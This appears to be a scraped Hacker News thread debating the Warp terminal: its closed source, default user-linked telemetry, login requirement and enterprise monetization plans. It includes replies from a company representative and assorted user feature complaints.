doubt Warp offers a clause like that. Otherwise it amounts to using a random binary blob and hoping it does what you want it to. Without any ability to check its internals yourself (short of RE) or any legal backing. Some might opine that that's completely reasonable, but I think many might find it an unreasonable risk for an enterprise to take. Regardless of how new the vendor may be. Again, you're completely right about the comparison I am making. I hope I've been able to clarify my reasons. That's a huge overstatement. What's unacceptable about it (or any other software for that matter) closed-source? Lots of things. Lock-in for once. Warp's VC decide they want an exit and Warp becomes 50usd/month sass or some sanctions block you from using Warp. You're hole workflow, scripts etc are basically dead. Also, what is in that closed source? No one can audit it and it's literally the environment that contains all of your secrets. Edit: After searching for variations of “terminal” “iterm” and “tuple”, of course it’s the top hit if you just search Mac and tuple! https://tuple.app/ But the other features of it have been really great too. I like the terminal splitting, the history searching, the command palette, and no performance issues I've noticed either. It's made my terminal a joy to use for once. Keep up the great work! While folks have mentioned here that shells have powerful line editing capabilities, I've found that a lot of people miss this. We want to allow a broader set of people to be productive in the terminal. And FWIW, a lot of developers - with varying amounts of experience - have resonated with the text input. Personally, I'm a heavy vim user and I've never gotten particularly comfortable using the shell's line editor. > But for our beta phase, we do send telemetry by default and we do associate it with the logged in user because it makes it much easier to reach out and get feedback when something goes wrong. This is a hard pass for me, it looks really amazing though. I'm so tired of telemetry, how do we quit our day jobs to focus on open source? ;-; We will remove telemetry when we enter general availability. It will be opt-in and anonymous. We really want to improve the product quickly during this beta phase. Collecting data makes it much easier to reach out and get feedback when something goes wrong. But we only track metadata, never console output. For an exhaustive list of events that we track, see here: https://docs.warp.dev/getting-started/privacy#exhaustive-tel.... We are going to open source parts and potentially all of the terminal. We want to allow folks to audit our code and tweak Warp. For an exhaustive list of events and metadata we collect, see: https://docs.warp.dev/getting-started/privacy#exhaustive-tel... terminals are used by sysadmins/software developers/hackers HN the most important resource in this category their product has the hotspot they should be fixing the telemetry ASAP (i'd suggest - before next release) or else their product will be forgotten for a while and next time it comes up everyone will be sceptical to upvote again Just because there are plenty of bash wizards who don't like this, it doesn't mean this isn't useful. There are still plenty of users who swear by Vim / Emacs. I've been a software engineer for 10 years at a FAANG and never use Vim to write code. If you want to be taken seriously as a security and privacy focused product that can be trusted to handle sensitive data and undertake sensitive operations, this is not a great look. We need to trust you now and be able to trust you today - before general availability. The world of software is littered with "potentially" and "later" statements that somehow never quite manage to arrive. I hope you can understand our collective skepticism. Trust is earned in drops and lost in buckets. It starts with making it easy to trust you by minimizing how much we have to. For myself, the visuals are compelling enough that my fingers twitched over "download" but the "you'll have to log in to your terminal" messaging I see here was enough for me to not, and even though I could theoretically do it later, it leaves a bad taste in my mouth that (rationally or no) will probably hold me back from trying it once it's GA. Hopefully also not input ;) These cover both professional (company) and personal stuff. No one should use a terminal that has telemetry (unless they are out of their mind). Building a terminal is hard. We have to build feature parity, maintain a stable terminal-shell interface, on top of modernizing the product experience. The money allows us to hire engineers to work on this project full-time and create a great product experience. But nobody would lead a round of that size without a decent monetization strategy. I suspect enterprise focus around security / IAM integrations (hence all the telemetry). Actually the telemetry has nothing to do with our monetization. Enterprise is right. We are monetizing through team and enterprise features. We are planning to build among others: - Sharing hard-to-remember workflows within your team - Wikis and READMEs that run directly in the terminal - Session sharing for joint debugging puts on thinking cap I strongly doubt you can create a good terminal if it also needs a business model that can recoup $23M. Jeez, I have a crap-ton of half baked ideas and a bridge that I would love to sell. > By continuing you are agreeing to our Terms of Service and that Warp can collect usage data. lol, no 1. this desparately needs multiple profiles where I can customize the command that is launched (ie. with iTerm2 I have keyboard shortcuts mapped to a profile which launches SSH instance to our various aws environments) 2. powerlevel10k doesn't work (dealbreaker)756 comments
[ 3.3 ms ] story [ 322 ms ] thread
This opens $EDITOR, and when you finish editing and close it, it runs the code. C-x C-e